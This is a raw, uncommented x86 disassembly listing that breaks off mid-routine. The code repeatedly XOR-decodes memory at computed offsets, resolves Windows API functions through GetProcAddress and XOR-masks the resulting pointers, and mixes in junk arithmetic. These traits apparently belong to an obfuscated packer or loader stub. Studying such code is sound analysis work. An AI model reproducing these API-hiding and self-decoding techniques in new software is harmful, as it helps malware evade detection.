add ecx, 0xa4c08
xor ecx, dword [edx]
xor ecx, 0xdcc680c4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x33da0]
add ecx, 0x1ca91
xor ecx, dword [edx]
xor ecx, 0xdccd065d
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa41e8]
add ecx, 0x269ac
xor ecx, dword [edx]
xor ecx, 0xdccea560
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa4638]
add ecx, 0x266d0
xor ecx, dword [edx]
xor ecx, 0xdcceaa1c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x32d30]
add ecx, 0x32d34
xor ecx, dword [edx]
xor ecx, 0xdccfe1f8
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x11c21]
add ecx, 0x20210
xor ecx, dword [edx]
xor ecx, 0xdccecedc
mov dword [edx], ecx
mov ecx, dword [esp + 0x18]
add eax, ecx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa418c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x180b5]
add eax, 0x2324c
xor eax, dword [ecx]
xor eax, 0xdccefe80
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13825]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7e3]
add eax, 0xa59c4
xor eax, dword [ecx]
xor eax, 0xdcc69508
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1254d]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfdc3]
add eax, 0x20148
xor eax, dword [ecx]
xor eax, 0xdccecd84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x186fe]
add eax, 0x36084
xor eax, dword [ecx]
xor eax, 0xdccfac48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b44]
add eax, 0x32b50
xor eax, dword [ecx]
xor eax, 0xdccfe79c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
add dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf263]
add eax, 0x200a4
xor eax, dword [ecx]
xor eax, 0xdccecc68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa090]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x99f9]
add eax, 0x27e00
xor eax, dword [ecx]
xor eax, 0xdcceb2cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x88cc]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335e8]
add eax, 0xa4b6c
xor eax, dword [ecx]
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37118]
add eax, 0x2e8c0
xor eax, dword [ecx]
xor eax, 0xdcce240c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5469]
add eax, 0x1f4c8
xor eax, dword [ecx]
xor eax, 0xdccd3804
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa1ff]
add eax, 0x20204
xor eax, dword [ecx]
xor eax, 0xdccecec8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x191fd]
add eax, 0xa4f48
xor eax, dword [ecx]
xor eax, 0xdcc68384
mov dword [ecx], eax
mov eax, dword [0x101062e0]
sub eax, dword [0x10106ae8]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338a4]
add eax, 0xa4b10
xor eax, dword [ecx]
xor eax, 0xdcc687dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4594]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33864]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7ea8]
add eax, 0x2033c
xor eax, dword [ecx]
xor eax, 0xdccecff0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x480c]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c233]
add eax, 0xa5560
xor eax, dword [ecx]
xor eax, 0xdcc699ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33028]
add eax, 0x32ff0
xor eax, dword [ecx]
xor eax, 0xdccfe33c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4924]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15153]
add eax, 0x20d0c
xor eax, dword [ecx]
xor eax, 0xdccec1c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11130]
add eax, 0x20018
xor eax, dword [ecx]
xor eax, 0xdcceccd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a8]
add eax, 0x23038
xor eax, dword [ecx]
xor eax, 0xdccefcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36f88]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf249]
add eax, 0x200a0
xor eax, dword [ecx]
xor eax, 0xdccecc6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13eee]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xcc69]
add eax, 0x28d90
xor eax, dword [ecx]
push 0x101078c3
xor eax, 0xdcce415c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
mov ecx, dword [esp + 0x18]
add eax, ecx
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33200]
add eax, 0x33204
xor eax, dword [ecx]
push ebp
xor eax, 0xdccffec8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2576c]
add eax, 0x3e50
xor eax, dword [ecx]
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a08]
add eax, 0x27fa0
xor eax, dword [ecx]
xor eax, 0xdcceb36c
mov dword [ecx], eax
mov eax, dword [0x101062e4]
add eax, 0x20b8ef8b
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a4c]
add eax, 0x398c0
xor eax, dword [ecx]
xor eax, 0xdccf540c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d496]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a817]
add eax, 0xa8fc8
xor eax, dword [ecx]
xor eax, 0xdcc64304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e70c]
add eax, 0x32b04
xor eax, dword [ecx]
xor eax, 0xdccfe7c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2914c]
add eax, 0x42a0
xor eax, dword [ecx]
xor eax, 0xdccc8e6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa723]
add eax, 0xa7ad4
xor eax, dword [ecx]
xor eax, 0xdcc6b618
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20178
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf836c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xffcb]
add eax, 0x20158
xor eax, dword [ecx]
xor eax, 0xdccecd94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x336f0]
add eax, 0x33918
xor eax, dword [ecx]
push 0x10107b7c
xor eax, 0xdccff5d4
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
or eax, dword [0x10105368]
push dword [esp + 0x28]
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf4ab]
add eax, 0xa5a34
xor eax, dword [ecx]
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10106ae8], 0
lea ecx, [eax + 0x1a165]
add eax, 0x201bc
xor eax, dword [ecx]
xor eax, 0xdccecd70
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20270
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107354
xor ecx, 0xcccf9d08
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183d1]
add eax, 0xa4c10
xor eax, dword [ecx]
push dword [esp + 0x20]
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov eax, dword [0x10105368]
and eax, dword [0x10106ae8]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24080]
add eax, 0x23de0
xor eax, dword [ecx]
xor eax, 0xdccef12c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d7c]
add eax, 0x32d80
xor eax, dword [ecx]
xor eax, 0xdccfe14c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1869]
add eax, 0x24d10
mov dword [0x10103e64], 0x990efcde
xor eax, dword [ecx]
xor eax, 0xdcce81dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8c7e]
add eax, 0x20240
xor eax, dword [ecx]
xor eax, 0xdccece8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20380
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8590
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x136e2]
add eax, 0x32928
xor eax, dword [ecx]
xor eax, 0xdccfe5e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0xbde541c6
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x343a4]
add eax, 0x1e87d
xor eax, dword [ecx]
xor eax, 0xdccd24b1
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34154]
add eax, 0x3413c
xor eax, dword [ecx]
xor eax, 0xdccf8df0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24064]
add eax, 0x23e58
xor eax, dword [ecx]
xor eax, 0xdccef294
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b50]
add eax, 0x36008
xor eax, dword [ecx]
xor eax, 0xdccfacc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6688]
add eax, 0x24dd8
xor eax, dword [ecx]
xor eax, 0xdcce8114
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19cf6]
add eax, 0x33ab8
xor eax, dword [ecx]
xor eax, 0xdccff674
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c40]
add eax, 0x36004
xor eax, dword [ecx]
xor eax, 0xdccfacc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5969]
add eax, 0x25f50
xor eax, dword [ecx]
xor eax, 0xdcce939c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25850]
add eax, 0x4520
xor eax, dword [ecx]
xor eax, 0xdccc89ec
mov dword [ecx], eax
mov ecx, dword [0x10107300]
mov eax, dword [0x10106ae8]
or eax, ecx
mov dword [0x10106ae8], eax
imul eax, dword [esp + 0x18]
mov dword [0x10105abc], eax
lea eax, [ecx + 0x1b679]
add ecx, 0x20068
xor ecx, dword [eax]
xor ecx, 0xdccecca4
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1067b]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a179]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fc0]
add eax, 0x23f08
xor eax, dword [ecx]
push 0x10107bf5
push dword [esp + 0x28]
xor eax, 0xdccef3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2028c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x1010763f
xor ecx, 0xcccf9d20
mov dword [eax], ecx
mov eax, dword [0x10107300]
add eax, 0x200d8
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8052
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa798]
add eax, 0xa59e4
xor eax, dword [ecx]
xor eax, 0xdcc69528
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10106ae8]
sub ecx, eax
mov dword [0x10103e64], ecx
lea ecx, [eax + 0xa3d64]
add eax, 0x560d8
xor eax, dword [ecx]
xor eax, 0xdcc9ac14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c04]
add eax, 0x2777c
xor eax, dword [ecx]
xor eax, 0xdccebbb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb7bc]
add eax, 0xa5a1c
xor eax, dword [ecx]
xor eax, 0xdcc696d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254e4]
add eax, 0x32e0
xor eax, dword [ecx]
xor eax, 0xdcccfe2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e58]
add eax, 0x27060
xor eax, dword [ecx]
xor eax, 0xdccebcac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11416]
add eax, 0x2025c
xor eax, dword [ecx]
xor eax, 0xdccece90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36abc]
add eax, 0x24a1c
xor eax, dword [ecx]
xor eax, 0xdcce86d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa336]
add eax, 0xa5a08
xor eax, dword [ecx]
push 0x10107dea
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5713]
push dword [esp + 0x34]
add eax, 0x1f54b
xor eax, dword [ecx]
xor eax, 0xdccd3987
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x38fb]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2000c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107ca0
xor ecx, 0xcccf9fe0
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9773]
add eax, 0x200f8
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccecc34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335d]
add eax, 0x2548c
xor eax, dword [ecx]
xor eax, 0xdcce9840
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x104a4]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
sub eax, dword [0x10105368]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11086]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4579]
add eax, 0x257ac
xor eax, dword [ecx]
xor eax, 0xdcce9b60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37d3]
add eax, 0x256d8
xor eax, dword [ecx]
xor eax, 0xdcce9a14
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202bc
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9c4e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x96d9]
add eax, 0x27d78
xor eax, dword [ecx]
xor eax, 0xdcceb1b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa248]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x98c1]
add eax, 0x20014
xor eax, dword [ecx]
xor eax, 0xdcceccd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5322]
add eax, 0x20094
xor eax, dword [ecx]
xor eax, 0xdccecc58
mov dword [ecx], eax
mov eax, dword [0x101062e0]
sub dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb385]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a90]
add eax, 0x21408
xor eax, dword [ecx]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c99]
add eax, 0x231cc
xor eax, dword [ecx]
xor eax, 0xdccefd00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8336]
add eax, 0x20264
xor eax, dword [ecx]
xor eax, 0xdccecea8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x332a8]
add eax, 0x33308
xor eax, dword [ecx]
xor eax, 0xdccfffc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, ebp
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x33060]
add eax, 0x33064
xor eax, dword [ecx]
xor eax, 0xdccffca8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49f8]
add eax, 0x28528
xor eax, dword [ecx]
xor eax, 0xdcce49e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fac]
add eax, 0xc210
xor eax, dword [ecx]
xor eax, 0xdccc0edc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x463e]
add eax, 0x257e8
xor eax, dword [ecx]
xor eax, 0xdcce9b24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x270]
add eax, 0xaa000
xor eax, dword [ecx]
push 0x10107653
xor eax, 0xccccf95c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x508c]
add eax, 0x25e40
xor eax, dword [ecx]
push ebp
xor eax, 0xdcce928c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200dc
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8078
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2408c]
add eax, 0x23d80
xor eax, dword [ecx]
xor eax, 0xdccef14c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10540]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x101062e0]
and dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8144]
add eax, 0x27b80
xor eax, dword [ecx]
xor eax, 0xdcceb74c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36e28]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10075]
add eax, 0x2015c
xor eax, dword [ecx]
xor eax, 0xdccecd90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a74]
add eax, 0x13050
xor eax, dword [ecx]
xor eax, 0xdccdfc9c
mov dword [ecx], eax
mov eax, dword [0x10105368]
add eax, 0xd72f1f1f
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33710]
add eax, 0xa4ab8
xor eax, dword [ecx]
xor eax, 0xdcc68674
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15954]
add eax, 0x14bf4
xor eax, dword [ecx]
xor eax, 0xdccd8738
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18338]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20eb4]
add eax, 0x20e94
xor eax, dword [ecx]
xor eax, 0xdccec258
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e20]
add eax, 0x32f18
xor eax, dword [ecx]
xor eax, 0xdccfe3d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14118]
add eax, 0xa5a48
xor eax, dword [ecx]
xor eax, 0xdcc69684
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x181a5]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x131ff]
add eax, 0x23148
xor eax, dword [ecx]
xor eax, 0xdccefd84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5a07]
add eax, 0x24c88
xor eax, dword [ecx]
xor eax, 0xdcce8044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b1fe]
add eax, 0x33c88
xor eax, dword [ecx]
xor eax, 0xdccff044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33950]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c283]
add eax, 0xa556c
xor eax, dword [ecx]
xor eax, 0xdcc699a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d1ad]
add eax, 0x36b8c
xor eax, dword [ecx]
xor eax, 0xdccfa740
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4684]
add eax, 0x2649c
xor eax, dword [ecx]
xor eax, 0xdccea850
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x101062e0], eax
lea ecx, [eax + 0xe70f]
add eax, 0x200d0
xor eax, dword [ecx]
xor eax, 0xdccecc1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10103e60]
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x3392c]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x142fa]
add eax, 0x15a20
xor eax, dword [ecx]
push 2
xor eax, 0xdccd96ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4174]
add eax, 0x27748
xor eax, dword [ecx]
push dword [esp + 0x44]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, 0x99ee07cf
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xa3d94]
add eax, 0x58c60
xor eax, dword [ecx]
xor eax, 0xdcc940ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2021c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0x4cccccce
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179c0]
add eax, 0x179ec
xor eax, dword [ecx]
xor eax, 0xdccdb520
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a9c]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3650c]
add eax, 0x36b68
xor eax, dword [ecx]
xor eax, 0xdccfa7a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ac8]
add eax, 0x24a08
xor eax, dword [ecx]
xor eax, 0xdcce86c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4398]
add eax, 0x266a8
xor eax, dword [ecx]
xor eax, 0xdcceaa64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b070]
add eax, 0xa52ec
xor eax, dword [ecx]
xor eax, 0xdcc69e20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0f1]
add eax, 0xa51e8
xor eax, dword [ecx]
xor eax, 0xdcc69d24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19424]
add eax, 0x33c08
xor eax, dword [ecx]
xor eax, 0xdccff0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xabbd]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40f4]
add eax, 0x7c1d0
xor eax, dword [ecx]
xor eax, 0xdccb0d1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11275]
add eax, 0x27d9c
xor eax, dword [ecx]
xor eax, 0xdcceb150
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d42]
add eax, 0xa8fd0
xor eax, dword [ecx]
xor eax, 0xdcc6431c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3298c]
add eax, 0x135f0
xor eax, dword [ecx]
xor eax, 0xdccdf93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240c0]
add eax, 0x23c40
xor eax, dword [ecx]
xor eax, 0xdccef08c
mov dword [ecx], eax
xor dword [0x101062e0], 0x7919696d
mov eax, dword [0x10107300]
lea ecx, [eax + 0x105d7]
add eax, 0x200dc
xor eax, dword [ecx]
xor eax, 0xdccecc10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd602]
add eax, 0x2583c
xor eax, dword [ecx]
xor eax, 0xdcce94f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x34034]
mov ecx, eax
imul ecx, dword [0x1010536c]
add eax, 0x11f95
xor eax, dword [edx]
xor eax, 0xdccdd359
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x195f8]
add eax, 0xa8fe0
xor eax, dword [edx]
xor eax, 0xdcc6432c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x338a0]
add eax, 0x32fc4
xor eax, dword [edx]
xor eax, 0xdccfe308
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x36528]
add eax, 0x36450
xor eax, dword [edx]
xor eax, 0xdccfa89c
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, dword [0x10106ae8]
sub edx, eax
mov dword [0x10103e64], edx
lea edx, [eax + 0xb17f]
add eax, 0xa5a14
xor eax, dword [edx]
xor eax, 0xdcc696d8
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xe175]
add eax, 0x28644
xor eax, dword [edx]
xor eax, 0xdcce4a88
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1c0cb]
add eax, 0xa5550
xor eax, dword [edx]
xor eax, 0xdcc6999c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x329a8]
add eax, 0x13060
xor eax, dword [edx]
xor eax, 0xdccdfcac
mov dword [edx], eax
mov eax, dword [esp + 0x18]
and eax, 0xca7e48a
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa4968]
add eax, 0x26078
xor eax, dword [edx]
xor eax, 0xdcceacb4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x254f4]
add eax, 0x3080
xor eax, dword [edx]
xor eax, 0xdcccfc4c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1df19]
add eax, 0x1df2d
